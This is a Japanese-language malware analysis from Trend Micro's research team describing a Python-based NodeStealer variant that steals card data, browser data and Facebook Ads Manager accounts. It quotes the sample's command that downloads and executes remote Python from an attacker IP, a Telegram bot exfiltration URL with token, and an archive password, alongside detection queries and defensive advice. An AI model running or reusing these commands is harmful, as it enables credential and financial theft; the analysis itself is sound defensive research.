マルウェア
Pythonベースのマルウェア「NodeStealer」がFacebook広告マネージャから情報を窃取
トレンドマイクロのMXDRチームは、NodeStealerの最新亜種を分析しました。本亜種は、スピアフィッシングメールを介して標的端末に感染し、Telegram経由で機密情報を流出させます。
- マルウェア「NodeStealer」は、最近に入ってJavaScriptの代わりにPythonで動くように改修され、より広範な機密情報を盗み出せるように進化しています。
- トレンドマイクロのMXDRチームでは、マレーシアの教育機関に対する攻撃活動を調査していた際に、当該のPythonで動くNodeStealerに遭遇しました。この攻撃活動には、ベトナムのグループが関与していると考えられます。
- NodeStealerの最新亜種は、クレジットカードの情報やブラウザ保存の情報に加え、Facebook広告マネージャのアカウントも標的に含め、重要な財務情報やビジネスデータを盗み取ります。
- 一連の攻撃は、スピアフィッシングメールを起点に始まります。被害者がメール内の不正なリンクをクリックすると、正規のアプリケーションを装ったマルウェアがダウンロード、インストールされます。
- 今回のマルウェアは、DLLサイドローディングやエンコード済みのPowerShellコマンドを使用し、セキュリティ検知を巧妙に回避します。続いて最終的なペイロードを実行し、機密情報をTelegram経由で流出させます。
はじめに
NodeStealerは、2023年にJavaScriptベースの情報窃取型マルウェアとして発見されましたが、最近に入ってPythonベースに移行し、より広範な機密情報を窃取するように進化するなど、その攻勢を強めています。PythonベースのNodeStealerは、クレジッドカード情報やブラウザ保存の情報だけでなく、「Facebook広告マネージャ」のアカウントも標的に含め、重要な財務情報やビジネスデータを盗み出します。Facebook広告マネージャは、FacebookやInstagram、Messenger、Audience Networkなどの各種プラットフォーム間で広告キャンペーンを作成、管理、分析するツールであり、個人または企業の間で広く利用されています。しかし、サイバー犯罪者の間では、個人情報やビジネス情報を盗む格好の標的と見なされ、執拗に狙われ続けています。
今回のPythonで動くNodeStealerは、トレンドマイクロのMXDR(Managed Extended Detection and Response)チームがマレーシアの教育機関に対する攻撃活動を分析していた際に発見されたものであり、近代的なサイバー犯罪に沿った高度な機能を備えています。不正な圧縮ファイルのパスワードに基づくと、背後にいる攻撃者は、ベトナム系のグループであると推測されます。また、マルウェアの配布に用いられたスピアフィッシングメールを調べたところ、マレー語の話者を狙えるように、マレー語で記載されていました。しかし、メールの件名は、英語を機械翻訳にかけたような不自然な表現となっていたため、一層疑わしいものとして映りました。
技術分析
マルウェア感染の起点は、不審なGmailアドレスから送信されたスピアフィッシングメールであり、標的組織に属する複数のユーザが狙われました(図1)。本メールには、PDFファイルを取得できるように装ったリンクが埋め込まれていました。被害者がこのリンクをクリックすると、不正なファイルがダウンロードされます。本ファイルは正常なPDF文書を装っていますが、実際には、被害端末の脆弱性を突いてマルウェアをインストールし、機密情報を窃取する機能を備えています。
攻撃者は、はじめに標的のユーザに対し、著作権侵害の警告に扮したメール(図2)を送信します。この偽警告は、あたかも正規の機関から届いたと思われるほど、巧妙に作られています。受信者は、その内容に動揺し、中身を十分に検証することなく、添付のファイルや不正なリンクを開いてしまう可能性があります。
実際にユーザがメール内のリンクをクリックすると、「Nombor Rekod 052881.zip」という名前の不審なファイルがダウンロードされます。本ZIPの中身は下記の通りであり、その中には、複数の不正なファイルが含まれます。
D:\{ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\GHelper.dll
D:\ {ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\Nombor Rekod 052881.exe
D:\ {ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\hpreaderfprefs.dat
D:\ {ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\oledlg.dll
D:\ {ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\images\active-license.bat
D:\ {ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\images\license-key.exe
D:\ {ユーザ}\Downloads\Nombor Rekod 052881\Nombor Rekod 052881\images\license.rar
実行ファイル「Nombor Rekod 052881.exe」は、よく知られた正規なPDFリーダーのように見えますが、今回の攻撃では、不正なDLLファイル「ledlg.dll」をサイドロードする目的で不正利用されました(図3)。これは、正規のアプリケーションを隠れ蓑にセキュリティ対策を回避し、攻撃活動を秘密裏に行うための手段です。
図4に示す通り、サイドロードされたDLLは、コマンドプロンプト(cmd.exe)を用いて下記のバッチファイルを実行します。
images\active-license.bat
C:\Windows\system32\cmd.exe /c start /min images\active-license.bat -> C:\Windows\system32\cmd.exe /K images\active-license.bat
バッチファイル「active-license.bat」は、エンコード済みの不正なPowerShellコードを実行します(図5)。
このPowerShellコマンドは、以下の処理を実行します。
- コンソールウィンドウを隠す
- フォルダ「%LocalAppData%\ChromeApplication」を強制作成
- 「license.exe」を用いてファイル「license.rar」をフォルダ「%LocalAppData%\ChromeApplication」の配下に展開
- images\license-key.exe(SHA256値:0b1866b627d8078d296e7d39583c9f856117be79c1d226b8c9378fe075369118)
- 元のファイル名: Rar.exe(WinRAR 7.1.0)
- コマンドライン型RAR
- license.rarの展開に使用される
- images\license.rar(SHA256値:ed1c48542a3e58020bd624c592f6aa7f7868ee16fbb03308269d44c4108011b1)
- 本アーカイブにはパスワード(Kimsexy@hacking.vn)がかけられている
- パスワードは、デコード後のPowerShellコマンドから取得できる
- 本アーカイブにはPython 3.10インタプリタのポータブル版が含まれ、これによって最終ペイロードをダウンロード、実行する
- synaptics.exe - 元のファイル名:pythonw.exe(PythonのCLIインタプリタ)
- vcruntime140.dll
- python3.10.dll
- 他のフォルダ
- C:\Users\{ユーザ名} \AppData\Local\ChromeApplication\DLLs\**
- ユーザの注意を逸らすためのおとり文書「document.pdf」をフォルダ「%User Profile%」の配下にダウンロードし、開く
- "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\%User Profile%\document.pdf"
- スタートアップフォルダを利用して永続化を実行
- ファイル「WindowsSecurity.lnk」を作成
- 当該ファイルをスタートアップフォルダ「%Application Data%\Microsoft\Windows\Start Menu\Programs\Startup\」に格納
- 下記コマンドにより、最終ペイロードをダウンロード(メモリ内)して実行
- cmd /C start "" "%LOCALAPPDATA%\ChromeApplication\synaptics.exe" -c "import requests;exec(requests.get(' http[://]88.216.99.5:15707/entry.txt'), verify=False).text)"
本マルウェアは、下記URLに接続し、最終ペイロードをメモリ内でダウンロードし、実行します。
http[://]88.216.99.5:15707/entry.txt
ファイル「entry.txt」には、図6の通り、難読化状態のPythonスクリプトが記載されています。これが起動すると、Pythonのネイティブコマンド「exec()」や「marshal.loads()」を組み合わせ、Pythonのバイトコードを直接実行します。
Pythonバイトコードの内容を解析すると、図7のようになります。本コードは、はじめに関数「hybrid_decrypt」を呼び出し、そこで別のバイナリ文字列を復号し、結果を変数「code」に格納します。続いて、変数「code」を関数「runner」に引き渡し、復号後のバイトコードを実行します。
変数「code」に格納されたバイトコードを解析すると、その中身は最終ペイロードの情報窃取ツールに相当し、クレジッドカードの情報やブラウザ保存の機密情報を盗み出すことが分かりました(図8)。
以上に加えて今回のNodeStealerは、Facebook広告マネージャのアカウントを狙い、そこから財務情報やビジネスデータを抽出し、不正な広告活動に発展させます(図9)。
以上によって窃取された情報は、Telegramを介して攻撃者側に届けられます。この際、対象情報はZIPでアーカイブ化され、Telegram用のリンクに乗せる形で送信されます。今回の例に限らず、機密情報をTelegram経由で流出させる手口は秘匿性と効率性の双方で攻撃者に利点があり、サイバー犯罪で多用されています。
https[://]api[.]telegram[.]org/bot7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI/sendDocument
パラメータ「chat-id」として「-1002426006531」や「-1002489276039」を使用
まとめと推奨事項
今回発見されたNodeStealerの最新亜種は、情報窃取のアプローチが巧妙化している点で特徴的です。クレジットカード情報やWebブラウザの機密情報にとどまらず、Facebook広告マネージャのアカウント情報も盗み出せるように、機能面で進化しています。さらに、検知回避の技術も高度化しています。こうした脅威の進化に対抗する上では、強固なセキュリティ対策を導入し、意識向上を図ることが特に重要です。
本稿で挙げたような攻撃を防ぐ上で有効な対策を、下記に示します。
- 不審なメールに警戒する:未知または信頼できない送信元からのメールに対し、常に警戒心をもって接する。メールに埋め込まれたリンクは、ユーザをフィッシングサイトに転送させて個人情報を盗み取る他、NodeStealerなどのマルウェアを自動でダウンロードさせる可能性があるため、十分に注意する必要がある。信頼できない送信元から来たメールの添付ファイルやリンクは、決して開かないようにする。
- 脅威に気づくためのトレーニングを実施する:強固なサイバーセキュリティの基本要素として、トレーニングが挙げられる。フィッシング攻撃や不審なメール、危険なリンクを識別できるようにユーザを教育することは、不可欠と言える。偽のメール通知や偽装URLによるソーシャルエンジニアリングの手口を理解することで、的確な意思決定に必要な情報が得られ、サイバー攻撃の被害に合うリスクを低減できる。
- マルウェア・スキャンを定期的に実施し、アンチウイルス製品を最新状態に保つ:NodeStealerなどの脅威を防ぐ上では、マルウェア・スキャンを定期的に実施し、ウイルス対策ソフトウェアの定義を最新化することが重要である。サイバー犯罪者は常に戦略を変化させているため、セキュリティツールによって最新の脅威を検知してブロックできることは、必須要件と考えられる。マルウェアの新規亜種に極力対処できるように、システムが感染していないか定期的に検査し、アンチウイルス製品の自動アップデート機能が有効であることを確認してください。
企業や組織、個人の方は、上記の対策を実施することで、NodeStealerをはじめとするマルウェアの脅威を効果的に抑止できます。メールに注意する習慣や、ユーザ向けの教育、定期的なシステムメンテナンスなど、自発的な対策によってサイバーセキュリティが全体的に強化され、データ侵害などのリスクを大幅に削減することが可能です。
トレンドマイクロによる脅威情報の活用
進化する脅威に備え、トレンドマイクロの製品をご利用の方は、Trend Vision One™を通してさまざまなインテリジェンス・レポート(Intelligence Report)や脅威インサイト(Threat Insight)にアクセスできます。脅威インサイトは、サイバー攻撃の脅威が生じる前に対策を確立し、準備体制を整える上で役立ちます。さらに、不正な活動や手口を含めた攻撃者に関する情報を、幅広く網羅しています。こうした脅威情報を活用することで、ご利用の環境を保護し、リスクを軽減し、脅威に的確に対処するための対策を自発的に講じていくことが可能となります。
Trend Vision Oneのアプリ「Intelligence Reports」(IOC Sweeping)
NodeStealer 2.0 - The Python Version: Stealing Facebook Business Accounts(NodeStealer 2.0 - Pythonバージョン:Facebookのビジネスアカウントを窃取)
Python-Based NodeStealer Version Targets Facebook Ads Manager(Pythonベースのマルウェア「NodeStealer」がFacebook広告マネージャから情報を窃取)
Trend Vision Oneのアプリ「Threat Insights」
Emerging Threats: Python-Based NodeStealer Version Targets Facebook Ads Manager(高まる脅威:Pythonベースのマルウェア「NodeStealer」がFacebook広告マネージャから情報を窃取)
スレットハンティングのクエリ
Trend Vision Oneのアプリ「Search」
Vision Oneをご利用のお客様は、アプリ「Search」の機能を用いることで、ご利用中の環境を解析し、本稿で挙げた不正な活動の兆候を検知、照合できます。
本攻撃のマルウェア・コンポーネントを検知
malName:(*RASPBERRYROBIN* OR *NODESTEALER*) AND eventName:MALWARE_DETECTION
Vision Oneをご利用中で、かつ「Threat Insights」(現在プレビュー版)が有効となっている場合、さらに多くのハンティング用クエリをご確認いただけます。
侵入の痕跡(IoC:Indicators of Compromise)
侵入の痕跡(IoC)は、こちらからダウンロードできます。
参考記事:
Python-Based NodeStealer Version Targets Facebook Ads Manager
By: Aira Marcelo, Bren Matthew Ebriega, Abdul Rahim
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)